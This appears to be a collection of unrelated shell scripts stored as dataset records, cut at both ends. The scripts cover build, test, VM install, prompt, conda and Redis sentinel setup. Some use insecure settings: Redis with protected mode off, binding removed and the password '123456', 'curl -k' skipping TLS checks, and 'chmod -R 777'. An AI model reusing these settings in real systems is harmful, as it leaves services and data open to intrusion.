https://github.com/openconfig/gnmi/raw/${OPENCONFIG_GNMI_COMMIT}/proto/gnmi/gnmi.proto \\\n && sed -i 's/github.com\\/openconfig\\/gnmi\\/proto\\/gnmi_ext\\/gnmi_ext.proto/gnmi_ext.proto/g' ./gnmi.proto \\\n && mv ./gnmi.proto ./otg_gnmi/proto \\\n && curl -kLO https://github.com/openconfig/gnmi/raw/${OPENCONFIG_GNMI_COMMIT}/proto/gnmi_ext/gnmi_ext.proto \\\n && mv ./gnmi_ext.proto ./otg_gnmi/proto\n}\n\ngen_py_stubs() {\n echo \"Generating python stubs ...\"\n rm -rf otg_gnmi/autogen/gnmi_*.py> /dev/null 2>&1 || true\n\n python -m grpc_tools.protoc --experimental_allow_proto3_optional -I./otg_gnmi/proto --python_out=./otg_gnmi/autogen --grpc_python_out=./otg_gnmi/autogen ./otg_gnmi/proto/gnmi.proto \\\n && sed -i 's/import gnmi_pb2 as gnmi__pb2/from . import gnmi_pb2 as gnmi__pb2/g' ./otg_gnmi/autogen/gnmi_pb2_grpc.py \\\n && sed -i 's/import gnmi_ext_pb2 as gnmi__ext__pb2/from . import gnmi_ext_pb2 as gnmi__ext__pb2/g' ./otg_gnmi/autogen/gnmi_pb2.py\n\n python -m grpc_tools.protoc --experimental_allow_proto3_optional -I./otg_gnmi/proto --python_out=./otg_gnmi/autogen --grpc_python_out=./otg_gnmi/autogen ./otg_gnmi/proto/gnmi_ext.proto\n}\n\nrun() {\n echo \"Running gNMI server ...\"\n python -m otg_gnmi ${@}\n}\n\nrun_test() {\n echo \"Running all tests ...\"\n run_clinet_test \\\n && run_unit_test\n\n}\n\nrun_unit_test() {\n echo \"Running all api unit tests ...\"\n REPORT=\"gnmi-api-ut.html\"\n coverage run --source=./otg_gnmi -m pytest --html=${REPORT} --self-contained-html ./tests/unit_api\n analyze_result ${REPORT}\n rm -rf ./${REPORT} 2>&1 || true\n coverage report -m\n rm -rf ./otg_gnmi/__pycache__\n rm -rf ./tests/__pycache__\n rm -rf ./tests/.pytest_cache\n rm -rf ./tests/mockstatus.txt 2>&1 || true\n rm -rf ./tests/unit_api/__pycache__ 2>&1 || true\n rm -rf ./tests/unit_gnmi_clinet/__pycache__ 2>&1 || true\n rm .coverage\n}\n\nrun_clinet_test() {\n echo \"Running all gnmi client tests ...\"\n REPORT=\"gnmi-client-ut.html\"\n python -m pytest --html=${REPORT} --self-contained-html ./tests/unit_gnmi_clinet\n analyze_result ${REPORT}\n rm -rf ./${REPORT} 2>&1 || true\n rm -rf ./otg_gnmi/__pycache__\n rm -rf ./tests/__pycache__\n rm -rf ./tests/.pytest_cache\n rm -rf ./tests/mockstatus.txt 2>&1 || true\n rm -rf ./tests/unit_api/__pycache__ 2>&1 || true\n rm -rf ./tests/unit_gnmi_clinet/__pycache__ 2>&1 || true\n}\n\nanalyze_result() {\n report=${1}\n echo \"Analyzing results: ${report}\"\n total=$(cat ${report} | grep -o -P '(?<=(

)).*(?=( tests))')\n echo \"Number of Total Tests: ${total}\"\n passed=$(cat ${report} | grep -o -P '(?<=()).*(?=( passed))')\n echo \"Number of Passed Tests: ${passed}\"\n if [ ${passed} = ${total} ]\n then \n echo \"All tests are passed...\"\n else\n echo \"All tests are not passed, Please check locally!\"\n exit 1\n fi\n}\n\necho_version() {\n version=$(head ./version | cut -d' ' -f1)\n echo \"gNMI version : ${version}\"\n}\n\nbuild() {\n docker rmi -f \"ixia-c-gnmi-server\"> /dev/null 2>&1 || true\n echo \"Building production docker image...\"\n docker build -t ixia-c-gnmi-server .\n version=$(head ./version | cut -d' ' -f1)\n echo \"gNMI - Server version : ${version}\"\n}\n\nclean() {\n rm -rf logs\n}\n\ncase $1 in\n deps )\n install_deps\n ;;\n ext )\n install_ext_deps\n ;;\n clean )\n clean\n ;;\n\trun\t )\n # pass all args (except $1) to run\n shift 1\n\t\trun ${@}\n\t\t;;\n\tart\t )\n\t\tinstall_ext_deps && get_proto && gen_py_stubs && run_test\n\t\t;;\n unit )\n run_test\n ;;\n build )\n build\n ;;\n version )\n echo_version\n ;;\n\t* )\n $1 || echo \"usage: $0 [deps|ext|clean|run|art|unit|build|version]\"\n\t\t;;\nesac"} {"text": "#!/bin/bash\nset -e\nexec /hbb/bin/python /hbb/s3cmd/s3cmd \"$@\""} {"text": "test/bats-workaround_test.bats100-1000\n#!/usr/bin/env bats\n\nload bats-workaround.bash\n\nfunction exercise_run2() {\n echo \"out1\"\n echo \"err1\" >&2\n echo \"out2\"\n echo \"err2\" >&2\n return 42\n}\n\n@test \"run2\" {\n run2 exercise_run2\n [[ \"$status\" -eq 42 ]]\n [[ \"$stdout\" == \"out1\nout2\" ]]\n [[ \"$stderr\" == \"err1\nerr2\" ]]\n [[ \"${stdoutLines[1]}\" == \"out2\" ]]\n [[ \"${stderrLines[1]}\" == \"err2\" ]] \n}"} {"text": "#!/bin/bash\n\nftp_server=10.55.95.226\nks_server=10.55.95.226\nftp_client=10.55.95.230\nclient_netmask=255.255.255.0\n\nvirt-install --hvm --debug --name=$1 --ram=4096 --accelerate --network bridge:br0 --network bridge:br1 --nographics --disk pool=vg_images,size=80 -l ftp://$ftp_server/pub/CentOS/6/os --extra-args \"console=ttyS0,115200 ks=ftp://$ks_server/pub/CentOS/6/os/ks.cfg ip=$ftp_client netmask=$client_netmask\""} {"text": "#!/bin/sh\n\n/bin/sed -i \"s|https://localhost:8443/api/|https://${BASE_URL}:8443/api/|\" /usr/share/nginx/html/main.bundle.js\n\nnginx -g 'daemon off;'"} {"text": "1-10\nmvn package spring-boot:repackage &&\ndocker-compose build || true &&\ndocker-compose stop || true &&\ndocker-compose up"} {"text": "# vim:ft=zsh ts=2 sw=2 sts=2 et fenc=utf-8\n################################################################\n# vcs\n# This file holds supplemental VCS functions\n# for the powerlevel9k-ZSH-theme\n# https://github.com/bhilburn/powerlevel9k\n################################################################\n\nset_default POWERLEVEL9K_VCS_SHOW_SUBMODULE_DIRTY true\nfunction +vi-git-untracked() {\n # TODO: check git >= 1.7.2 - see function git_compare_version()\n local FLAGS\n FLAGS=('--porcelain')\n\n if [[ \"$POWERLEVEL9K_VCS_SHOW_SUBMODULE_DIRTY\" == \"false\" ]]; then\n FLAGS+='--ignore-submodules=dirty'\n fi\n\n if [[ $(command git rev-parse --is-inside-work-tree 2> /dev/null) == 'true' && \\\n -n $(command git status ${FLAGS} | \\grep -E '^\\?\\?' 2> /dev/null | tail -n1) ]]; then\n hook_com[unstaged]+=\" $(print_icon 'VCS_UNTRACKED_ICON')\"\n VCS_WORKDIR_HALF_DIRTY=true\n else\n VCS_WORKDIR_HALF_DIRTY=false\n fi\n}\n\nfunction +vi-git-aheadbehind() {\n local ahead behind branch_name\n local -a gitstatus\n\n branch_name=$(command git symbolic-ref --short HEAD 2>/dev/null)\n\n # for git prior to 1.7\n # ahead=$(command git rev-list origin/${branch_name}..HEAD | wc -l)\n ahead=$(command git rev-list \"${branch_name}\"@{upstream}..HEAD 2>/dev/null | wc -l)\n (( ahead )) && gitstatus+=( \" $(print_icon 'VCS_OUTGOING_CHANGES_ICON')${ahead// /}\" )\n\n # for git prior to 1.7\n # behind=$(command git rev-list HEAD..origin/${branch_name} | wc -l)\n behind=$(command git rev-list HEAD..\"${branch_name}\"@{upstream} 2>/dev/null | wc -l)\n (( behind )) && gitstatus+=( \" $(print_icon 'VCS_INCOMING_CHANGES_ICON')${behind// /}\" )\n\n hook_com[misc]+=${(j::)gitstatus}\n}\n\nfunction +vi-git-remotebranch() {\n local remote branch_name\n\n # Are we on a remote-tracking branch?\n remote=${$(command git rev-parse --verify HEAD@{upstream} --symbolic-full-name 2>/dev/null)/refs\\/(remotes|heads)\\/}\n branch_name=$(command git symbolic-ref --short HEAD 2>/dev/null)\n\n if [[ -n \"$POWERLEVEL9K_VCS_SHORTEN_LENGTH\" ]] && [[ -n \"$POWERLEVEL9K_VCS_SHORTEN_MIN_LENGTH\" ]]; then\n set_default POWERLEVEL9K_VCS_SHORTEN_DELIMITER $'\\U2026'\n\n if [ ${#hook_com[branch]} -gt $POWERLEVEL9K_VCS_SHORTEN_MIN_LENGTH ] && [ ${#hook_com[branch]} -gt $POWERLEVEL9K_VCS_SHORTEN_LENGTH ]; then\n case \"$POWERLEVEL9K_VCS_SHORTEN_STRATEGY\" in\n truncate_middle)\n hook_com[branch]=\"$(echo \"${branch_name:0:$POWERLEVEL9K_VCS_SHORTEN_LENGTH}\")$POWERLEVEL9K_VCS_SHORTEN_DELIMITER$(echo \"${branch_name: -$POWERLEVEL9K_VCS_SHORTEN_LENGTH}\")\"\n ;;\n truncate_from_right)\n hook_com[branch]=\"$(echo \"${branch_name:0:$POWERLEVEL9K_VCS_SHORTEN_LENGTH}\")$POWERLEVEL9K_VCS_SHORTEN_DELIMITER\"\n ;;\n esac\n fi\n fi\n\n hook_com[branch]=\"$(print_icon 'VCS_BRANCH_ICON')${hook_com[branch]}\"\n # Always show the remote\n #if [[ -n ${remote} ]] ; then\n # Only show the remote if it differs from the local\n if [[ -n ${remote} ]] && [[ \"${remote#*/}\" != \"${branch_name#heads/}\" ]] ; then\n hook_com[branch]+=\"$(print_icon 'VCS_REMOTE_BRANCH_ICON')${remote// /}\"\n fi\n}\n\nset_default POWERLEVEL9K_VCS_HIDE_TAGS false\nfunction +vi-git-tagname() {\n if [[ \"$POWERLEVEL9K_VCS_HIDE_TAGS\" == \"false\" ]]; then\n # If we are on a tag, append the tagname to the current branch string.\n local tag\n tag=$(command git describe --tags --exact-match HEAD 2>/dev/null)\n\n if [[ -n \"${tag}\" ]] ; then\n # There is a tag that points to our current commit. Need to determine if we\n # are also on a branch, or are in a DETACHED_HEAD state.\n if [[ -z $(command git symbolic-ref HEAD 2>/dev/null) ]]; then\n # DETACHED_HEAD state. We want to append the tag name to the commit hash\n # and print it. Unfortunately, `vcs_info` blows away the hash when a tag\n # exists, so we have to manually retrieve it and clobber the branch\n # string.\n local revision\n revision=$(command git rev-list -n 1 --abbrev-commit --abbrev=${POWERLEVEL9K_VCS_INTERNAL_HASH_LENGTH} HEAD)\n hook_com[branch]=\"$(print_icon 'VCS_BRANCH_ICON')${revision} $(print_icon 'VCS_TAG_ICON')${tag}\"\n else\n # We are on both a tag and a branch; print both by appending the tag name.\n hook_com[branch]+=\" $(print_icon 'VCS_TAG_ICON')${tag}\"\n fi\n fi\n fi\n}\n\n# Show count of stashed changes\n# Port from https://github.com/whiteinge/dotfiles/blob/5dfd08d30f7f2749cfc60bc55564c6ea239624d9/.zsh_shouse_prompt#L268\nfunction +vi-git-stash() {\n local -a stashes\n\n if [[ -s $(command git rev-parse --git-dir)/refs/stash ]] ; then\n stashes=$(command git stash list 2>/dev/null | wc -l)\n hook_com[misc]+=\" $(print_icon 'VCS_STASH_ICON')${stashes// /}\"\n fi\n}\n\nfunction +vi-hg-bookmarks() {\n if [[ -n \"${hgbmarks[@]}\" ]]; then\n hook_com[hg-bookmark-string]=\" $(print_icon 'VCS_BOOKMARK_ICON')${hgbmarks[@]}\"\n\n # To signal that we want to use the sting we just generated, set the special\n # variable `ret' to something other than the default zero:\n ret=1\n return 0\n fi\n}\n\nfunction +vi-vcs-detect-changes() {\n if [[ \"${hook_com[vcs]}\" == \"git\" ]]; then\n\n local remote=$(command git ls-remote --get-url 2> /dev/null)\n if [[ \"$remote\" =~ \"github\" ]] then\n vcs_visual_identifier='VCS_GIT_GITHUB_ICON'\n elif [[ \"$remote\" =~ \"bitbucket\" ]] then\n vcs_visual_identifier='VCS_GIT_BITBUCKET_ICON'\n elif [[ \"$remote\" =~ \"stash\" ]] then\n vcs_visual_identifier='VCS_GIT_BITBUCKET_ICON'\n elif [[ \"$remote\" =~ \"gitlab\" ]] then\n vcs_visual_identifier='VCS_GIT_GITLAB_ICON'\n else\n vcs_visual_identifier='VCS_GIT_ICON'\n fi\n\n elif [[ \"${hook_com[vcs]}\" == \"hg\" ]]; then\n vcs_visual_identifier='VCS_HG_ICON'\n elif [[ \"${hook_com[vcs]}\" == \"svn\" ]]; then\n vcs_visual_identifier='VCS_SVN_ICON'\n fi\n\n if [[ -n \"${hook_com[staged]}\" ]] || [[ -n \"${hook_com[unstaged]}\" ]]; then\n VCS_WORKDIR_DIRTY=true\n else\n VCS_WORKDIR_DIRTY=false\n fi\n}\n\nfunction +vi-svn-detect-changes() {\n local svn_status=\"$(svn status)\"\n if [[ -n \"$(echo \"$svn_status\" | \\grep \\^\\?)\" ]]; then\n hook_com[unstaged]+=\" $(print_icon 'VCS_UNTRACKED_ICON')\"\n VCS_WORKDIR_HALF_DIRTY=true\n fi\n if [[ -n \"$(echo \"$svn_status\" | \\grep \\^\\M)\" ]]; then\n hook_com[unstaged]+=\" $(print_icon 'VCS_UNSTAGED_ICON')\"\n VCS_WORKDIR_DIRTY=true\n fi\n if [[ -n \"$(echo \"$svn_status\" | \\grep \\^\\A)\" ]]; then\n hook_com[staged]+=\" $(print_icon 'VCS_STAGED_ICON')\"\n VCS_WORKDIR_DIRTY=true\n fi\n}"} {"text": "#!/bin/bash\n\nif [[ 1 = ${#1} ]]; then\n OPERATOR=$1\n PATCH_DIR=$2\nelse\n echo \"./patch \"\n echo \" c check, a apply, f am\"\n exit\nfi\n\nfor i in ` find $PATCH_DIR -type f -name \"*.patch\" | sort `; do\n TEMP_DIR=$i\n TEMP_DIR=`echo $TEMP_DIR | sed \"s|$PATCH_DIR/*\\(.*/\\)[^/]*.patch$|\\1|\"`\n if [[ $OPERATOR = \"c\" ]]; then\n echo \"git apply --check --directory=$TEMP_DIR $i\"\n git apply --check --directory=$TEMP_DIR $i\n elif [[ $OPERATOR = \"a\" ]]; then\n echo \"git apply --directory=$TEMP_DIR $i\"\n git apply --directory=$TEMP_DIR $i\n elif [[ $OPERATOR = \"f\" ]]; then\n echo \"git am --directory=$TEMP_DIR $i\"\n git am --directory=$TEMP_DIR $i\n fi\n sleep 1s\ndone"} {"text": "#!/bin/bash\nBPF_PROG_NAME=\"kern\"\nUSER_PROG_NAME=\"user\"\nOUT_DIR=\"ebpf_output\"\nLLVM_DIS=llvm-dis-9\nLLC_OPTIONS=\"-march=bpf -filetype=obj\"\nLLC=llc-9\nOUT_BC=$OUT_DIR\"/\"$BPF_PROG_NAME\".bc\"\nOUT_IR_TEMP=$OUT_DIR\"/\"$BPF_PROG_NAME\"_temp.ll\"\nOUT_IR=$OUT_DIR\"/\"$BPF_PROG_NAME\".ll\"\nOUT_ELF=$OUT_DIR\"/\"$BPF_PROG_NAME\".o\"\nRM_UND=./remove_undefined_functions.sh\n\nmkdir -p $OUT_DIR\nTARGET_DIRECTORY=\"target/release/deps\"\nTARGET=$(echo $TARGET_DIRECTORY\"/kern*.bc\")\nif [ -d $TARGET_DIRECTORY ]; then\n rm -f $TARGET\nfi\ncargo rustc --lib --release -- --emit=llvm-bc\ncp $TARGET $OUT_BC\n$LLVM_DIS $OUT_BC -o $OUT_IR_TEMP\n$RM_UND $OUT_IR_TEMP $OUT_IR\n$LLC $OUT_IR $LLC_OPTIONS -o $OUT_ELF \n#llvm-objcopy $OUT_ELF --remove-section=.text\ncargo build --release --bin user\nTARGET=$(echo target/release/user)\ncp $TARGET $OUT_DIR"} {"text": "#SKIPMOUNT不要动\nSKIPMOUNT=false\n\n#安装目录\ninstall_path=\"/data/2/\"\nunzip -oj \"$ZIPFILE\" '11' -d $MODPATH/1/ >&2\n\n[ -d /data/2/ ] && rm -rf /data/11/\n[ -d ${install_path} ] && rm -rf ${install_path}\n[ -d /data/2/ ] || mkdir -p /data/2/\n\ncp -af $MODPATH/11/ ${install_path}\nchmod -R 777 ${install_path}"} {"text": "#!/bin/bash\n\ndocker-compose down\ndocker system prune -af"} {"text": "#!/bin/sh\n# install nginx\necho \"Running bootstrap script...\";\necho \"Installing nginx...\";\nsudo apk update\nsudo apk add nginx\n# copying configuration and content.\necho \"Copying nginx configuration...\";\nsudo cp /tmp/bootstrap/default.conf /etc/nginx/conf.d/\nsudo dos2unix /etc/nginx/conf.d/default.conf\necho \"Copying web content...\";\nsudo cp /tmp/bootstrap/content/* /var/www/localhost/htdocs/\n# start nginx\nsudo service nginx start;\necho \"...Bootstrap script completed.\";"} {"text": "javac ArrayMinimumAboveBound.java && java -ea ArrayMinimumAboveBound"} {"text": "1-10\n#!/bin/bash\n{%- from \"superset/map.jinja\" import server with context %}\n\n. {{ server.dir.home }}/bin/activate\n\nexport PYTHONPATH=$PYTHONPATH:{{ server.dir.home }}\n\nexec $1"} {"text": "#!/bin/bash\n#\n# Script Name: getconfig.sh\n#\n# Description: This scripts retrieves configurations from each service in the Quortex workflow.\n#\n\nVERSION=\"1.0.0\"\n\nINPUT_FOLDER=\"\"\nOUTPUT_FOLDER=\"\"\n\nRELEASE=\"\"\nNAMESPACE=\"\"\n\nSCHEME=\"https\"\nAPIGATEWAY_URL=\"\"\nCURL_AUTH_ARGUMENTS=\"\"\nCURL_COMMON_ARGUMENTS=\"--silent --show-error --connect-timeout 10 --fail\"\nSED_SANITIZE_REGEXP='s/\\$[A-Za-z{}_]+/{}/' # Replace all environment variables with {} to sanitize templates\n\nSORT_OUTPUT=\"false\"\n\nfunction help() {\n cat <&2\n}\n\nfunction error() {\n echo \"$@\" 1>&2\n exit 1\n}\n\n################ KUBEPROXY RELATED FUNCTIONS ################\n\nfunction make_proxy() {\n # Start kube proxy\n proxy_logfile=\"proxy.log\"\n\n kubectl proxy -p 0 >$proxy_logfile &\n pid=$!\n\n # Prepare cleanup\n function cleanup() {\n echo \"Stopping proxy\"\n kill -9 \"$pid\" || true\n rm $proxy_logfile\n }\n trap cleanup EXIT\n\n # Wait for the proxy to be started a maximum of 3 seconds\n i=0\n while [ ! \"$(cat $proxy_logfile 2>/dev/null | wc -c)\" -gt 0 ]; do\n if [ $i -eq 30 ]; then\n error \"Could not start proxy : $(cat proxy.log)\"\n else\n sleep 0.1\n i=$(($i + 1))\n fi\n done\n\n proxy_port=$(cat $proxy_logfile | cut -d':' -f 2)\n echo \"API Proxy started on port $proxy_port (pid $pid)\"\n}\n\n################ BUSINESS LOGIC FUNCTIONS ################\n\nfunction make_url() {\n local service=$1\n local path=$2\n\n if [ $APIGATEWAY_URL ]; then\n url=\"${SCHEME}://${APIGATEWAY_URL}/${service}${path}\"\n elif [ $proxy_port ]; then\n url=\"http://localhost:$proxy_port/api/v1/namespaces/${NAMESPACE}/services/${RELEASE}-${service}:api/proxy${path}\"\n else\n error \"Internal error : cannot make url if APIGATEWAY_URL is not provided and the proxy is not started.\"\n fi\n echo $url\n}\n\nfunction append_config_to_file() {\n local config=$1\n local url=$2\n local file=$3\n\n tmp_file=$(mktemp)\n cat \"$file\" |\n jq --sort-keys --arg url $url --argfile conf $config \\\n '. += [{\"url\": $url, \"confs\" : $conf}]' >\"$tmp_file\"\n cat \"$tmp_file\" >\"$file\"\n rm -f \"$tmp_file\"\n}\n\nfunction sort_file() {\n local file=$1\n tmp_file=$(mktemp)\n cat \"$file\" |\n jq '. |= sort_by(.url)' |\n jq '.[].confs |= sort_by(.name)' >\"$tmp_file\"\n cat \"$tmp_file\" >\"$file\"\n rm -f \"$tmp_file\"\n}\n\n# MAIN :\n\nif [ ! $APIGATEWAY_URL ]; then\n make_proxy\nfi\n\nconfig_files=$(find -L $INPUT_FOLDER -iname \"*.json\" -type f -printf \"%p\\n\" | sort)\ntmp_dir=$(mktemp -d)\n\nfor config_file in $config_files; do\n service_config_list=$(cat \"${config_file}\" | sed -E $SED_SANITIZE_REGEXP | jq .)\n service_name=$(basename -- \"${config_file}\" | sed -E 's/(.*).json/\\1/')\n\n # For each elements in the root list\n index=0\n while [ TRUE ]; do\n service_config_i=$(cat $config_file | sed -E $SED_SANITIZE_REGEXP | jq .[$index])\n if [ \"$service_config_i\" == \"null\" ]; then\n break\n fi\n path=$(echo $service_config_i | jq -r .url)\n url=$(make_url $service_name $path)\n\n tmp_config=$(mktemp)\n echo \"Retrieving $service_name -> $path\"\n curl $CURL_COMMON_ARGUMENTS $CURL_AUTH_ARGUMENTS -X GET \"$url\" -o \"$tmp_config\"\n code=$?\n if [ $code -eq 22 ]; then\n warning \"Could not reach $url, a 4XX was returned.\"\n elif [ $code -ne 0 ]; then\n error \"Could not download from $url, error $code.\"\n else\n # If file dosn't exist, prefill it with an empty array\n if [ ! -f \"$tmp_dir/$service_name.json\" ]; then\n echo \"[]\" >\"$tmp_dir/$service_name.json\"\n fi\n\n # Append the content of the file to the json\n append_config_to_file \"$tmp_config\" \"$path\" \"$tmp_dir/$service_name.json\"\n\n # If sorting is wanted, sort files\n if [ $SORT_OUTPUT == \"true\" ]; then\n sort_file \"$tmp_dir/$service_name.json\"\n fi\n fi\n rm -f $tmp_config\n\n index=$(($index + 1))\n done\ndone\n\nfor config_file in $config_files; do\n service_name=$(basename -- \"${config_file}\" | sed -E 's/(.*).json/\\1/')\n if [ -f \"$tmp_dir/$service_name.json\" ]; then\n cp \"$tmp_dir/$service_name.json\" \"$OUTPUT_FOLDER/$service_name.json\"\n fi\ndone\n\nrm -rf $tmp_dir"} {"text": "tbowan/luchronia0\n#!/bin/sh\n#Pour utiliser le script, copier le répertoire avec les dessins ici, puis modifier Clay avec le nom du materiaux\nMateriau=\"Timbered\"\nfor i in $Materiau/*.png\ndo\n\tbasename=`basename $i .png`\n\tfor j in 1 2 3 4 5\n\tdo\n\t composite -compose Over -geometry 256x256 MakeDrawing.png $i Done/DrawMap$basename$Materiau.png\n\tdone\ndone"} {"text": "#!/bin/bash\nset -euo pipefail\n\nif [ -z \"${PS1:-}\" ]; then\n PS1=__dummy__\nfi\nCONDA_URL=https://repo.continuum.io/miniconda/Miniconda3-latest-Linux-x86_64.sh\n\nif [ $# != 3 ]; then\n echo \"Usage: $0 \"\n exit 1;\nfi\nname=\"$1\"\nPYTHON_VERSION=\"$2\"\noutput_dir=\"$3\"\n\nif [ ! -e \"${output_dir}/etc/profile.d/conda.sh\" ]; then\n if [ ! -e miniconda.sh ]; then\n wget --tries=3 \"${CONDA_URL}\" -O miniconda.sh\n fi\n\n bash miniconda.sh -b -p \"./${output_dir}\"\nfi\n\nsource \"${output_dir}/etc/profile.d/conda.sh\"\nconda deactivate\n# If the env already exists, skip recreation\nif ! conda activate ${name}; then\n conda create -yn \"${name}\"\nfi\nconda activate ${name}\nconda install -y conda \"python=${PYTHON_VERSION}\" pip setuptools -c anaconda"} {"text": "Tornado3P9/Konsolentools\n#!/bin/bash \n#https://github.com/tomxue/countdown\n#https://linuxconfig.org/time-countdown-bash-script-example\n#\n#This is a simple skeleton of a bash countdown script.\n#The script takes two arguments.\n#\n#Here are some examples of its usage:\n#1. countdown time to 90 minutes from now:\n#./bash-countdown.sh -m 90\n#2. countdown time to 23.3.2036 from now:\n#./bash-countdown.sh -d \"Mar 23 2036\"\n#3. countdown time to 21:06 from now:\n#./bash-countdown.sh -d 21:06\n#4. countdown time to 21:06:45 from now and play ringtone using mpv-player:\n#./bash-countdown.sh -d 21:06:45 && mpv ringtone.mp3\n#\n#Do not forget to make bash-countdown.sh script executable before execution:\n#$ chmod +x countdown.sh\n#\n#Exectute:\n#$ ./countdown.sh -d 08:50\n#Output:\n#Fri Apr 10 08:47:46 AEST 2015\n#----------------------------\n#Seconds: 13\n#Minutes: 2\n#Hours: 0\n#Days: 0\n#Weeks: 0\n#[========> ]12%\n \nif [ \"$#\" -lt \"2\" ] ; then \n\techo \"Incorrect usage ! Example:\" \n\techo './countdown.sh -d \"Jun 10 2011 16:06\"' \n\techo 'or' \n\techo './countdown.sh -m 90' \n\texit 1 \nfi \n \nnow=`date +%s` \n \nif [ \"$1\" = \"-d\" ] ; then \n\tuntil=`date -d \"$2\" +%s` \n\tsec_rem=`expr $until - $now` \n\techo \"-d\" \n\tif [ $sec_rem -lt 1 ]; then \n\t\techo \"$2 is already history !\" \n\tfi \nfi \n \nif [ \"$1\" = \"-m\" ] ; then \n\tuntil=`expr 60 \\* $2` \n\tuntil=`expr $until + $now` \n\tsec_rem=`expr $until - $now` \n\techo \"-m\" \n\tif [ $sec_rem -lt 1 ]; then \n\t\techo \"$2 is already history !\" \n\tfi \nfi \n \n_R=0\n_C=7\ntmp=0\npercent=0\ntotal_time=0\ncol=`tput cols`\ncol=$[ $col -5 ]\n\nwhile [ $sec_rem -gt 0 ]; do \n\tclear \n\tdate \n\tlet sec_rem=$sec_rem-1 \n\tinterval=$sec_rem \n\tseconds=`expr $interval % 60` \n\tinterval=`expr $interval - $seconds` \n\tminutes=`expr $interval % 3600 / 60` \n\tinterval=`expr $interval - $minutes` \n\thours=`expr $interval % 86400 / 3600` \n\tinterval=`expr $interval - $hours` \n\tdays=`expr $interval % 604800 / 86400` \n\tinterval=`expr $interval - $hours` \n\tweeks=`expr $interval / 604800` \n\techo \"----------------------------\" \n\techo \"Seconds: \" $seconds \n\techo \"Minutes: \" $minutes \n\techo \"Hours: \" $hours \n\techo \"Days: \" $days \n\techo \"Weeks: \" $weeks \n\n\techo -n \"[\"\n\n\tprogress=$[$progress + 1]\n\tif [ $total_time -lt 1 ] ; then\n\t\ttotal_time=$[$hours * 3600 + $minutes * 60 + $seconds]\n\tfi\n\t\n\tprintf -v f \"%$(echo $_R)s>\" ; printf \"%s\\n\" \"${f// /=}\"\n\t_C=7\n\ttput cup 7 $col\n\n\ttmp=$percent\n\tpercent=$[$progress * 100 / $total_time]\n\tprintf \"]%d%%\" $percent\n\tchange=$[$percent - $tmp]\n\n\t_R=$[ $col * $percent / 100 ]\n\n\tsleep 1\ndone\nprintf \"\\n\""} {"text": "SimonOsaka/rockylinux-script\n#!/bin/bash\n# refer: https://www.cnblogs.com/alinainai/p/14086960.html\n\nmkdir -p /data/redis/sentinel/s1/data\nmkdir -p /data/redis/sentinel/s1/conf\nmkdir -p /data/redis/sentinel/s2/data\nmkdir -p /data/redis/sentinel/s2/conf\nmkdir -p /data/redis/sentinel/s3/data\nmkdir -p /data/redis/sentinel/s3/conf\n\n# When redis_master_slave started, modify 'REDIS_MASTER_IP' value\nREDIS_MASTER_IP=172.29.0.2\n#\n# s1 conf\n#\ncp redis.conf /data/redis/sentinel/s1/conf/redis.conf\n\nsed -e 's|^bind 127.0.0.1 -::1|#bind 127.0.0.1 -::1|g' \\\n -e 's|^protected-mode yes|protected-mode no|g' \\\n -e 's|^appendonly no|appendonly yes|g' \\\n -e 's|^port 6379|port 26379|g' \\\n -e 's|^# requirepass foobared|requirepass 123456|g' \\\n -i.bak \\\n /data/redis/sentinel/s1/conf/redis.conf\n\necho \"sentinel monitor local-master ${REDIS_MASTER_IP} 6379 2\" >> /data/redis/sentinel/s1/conf/redis.conf\necho \"sentinel auth-pass local-master 123456\" >> /data/redis/sentinel/s1/conf/redis.conf\necho \"sentinel down-after-milliseconds local-master 30000\" >> /data/redis/sentinel/s1/conf/redis.conf\n\n#\n# s2 conf\n#\ncp redis.conf /data/redis/sentinel/s2/conf/redis.conf\n\nsed -e 's|^bind 127.0.0.1 -::1|#bind 127.0.0.1 -::1|g' \\\n -e 's|^protected-mode yes|protected-mode no|g' \\\n -e 's|^appendonly no|appendonly yes|g' \\\n -e 's|^port 6379|port 26380|g' \\\n -e 's|^# requirepass |requirepass |g' \\\n -i.bak \\\n /data/redis/sentinel/s2/conf/redis.conf\n\necho \"sentinel monitor local-master ${REDIS_MASTER_IP} 6379 2\" >> /data/redis/sentinel/s2/conf/redis.conf\necho \"sentinel auth-pass local-master 123456\" >> /data/redis/sentinel/s2/conf/redis.conf\necho \"sentinel down-after-milliseconds local-master 30000\" >> /data/redis/sentinel/s2/conf/redis.conf\n\n#\n# s3 conf\n#\ncp redis.conf /data/redis/sentinel/s3/conf/redis.conf\n\nsed -e 's|^bind 127.0.0.1 -::1|#bind 127.0.0.1 -::1|g' \\\n -e 's|^protected-mode yes|protected-mode no|g' \\\n -e 's|^appendonly no|appendonly yes|g' \\\n -e 's|^port 6379|port 26381|g' \\\n -e 's|^# requirepass |requirepass 123456|g' \\\n -i.bak \\\n /data/redis/sentinel/s3/conf/redis.conf\n\necho \"sentinel monitor local-master ${REDIS_MASTER_IP} 6379 2\" >> /data/redis/sentinel/s3/conf/redis.conf\necho \"sentinel auth-pass local-master 123456\" >> /data/redis/sentinel/s3/conf/redis.conf\necho \"sentinel down-after-milliseconds local-master 30000\" >> /data/redis/sentinel/s3/conf/redis.conf\n\nsh run_redis.sh\n\nsh show_redis.sh"} {"text": "clusterclaims/reconcile_claims.sh\n#! /bin/bash\n\n# Error function for printing error messages to stderr\nerrorf() {\n printf >&2 \"$@\"\n}\n\n# Color codes for bash output\nBLUE='\\e[36m'\nGREEN='\\e[32m'\nRED='\\e[31m'\nYELLOW='\\e[33m'\nCLEAR='\\e[39m'\nif [[ \"$COLOR\" == \"False\" || \"$COLOR\" == \"false\" ]]; then\n BLUE='\\e[39m'\n GREEN='\\e[39m'\n RED='\\e[39m'\n YELLOW='\\e[39m'\nfi\n\n# Fix sed issues on mac by using GSED and fix base64 issues on macos by omitting the -w 0 parameter\nOS=$(uname -s | tr '[:upper:]' '[:lower:]')\nSED=\"sed\"\nBASE64=\"base64 -w 0\"\nif [ \"${OS}\" == \"darwin\" ]; then\n SED=\"gsed\"\n if [ ! -x \"$(command -v ${SED})\" ]; then\n errorf \"${RED}ERROR: $SED required, but not found.${CLEAR}\\n\"\n errorf \"${RED}Perform \\\"brew install gnu-sed\\\" and try again.${CLEAR}\\n\"\n exit 1\n fi\n BASE64=\"base64\"\nfi\n\n#----VALIDATE PREREQ----#\n# User needs to be logged into the cluster\nprintf \"${BLUE}* Testing connection${CLEAR}\\n\"\nHOST_URL=$(oc status | grep -o \"https.*api.*\")\nif [ $? -ne 0 ]; then\n errorf \"${RED}ERROR: Make sure you are logged into an OpenShift 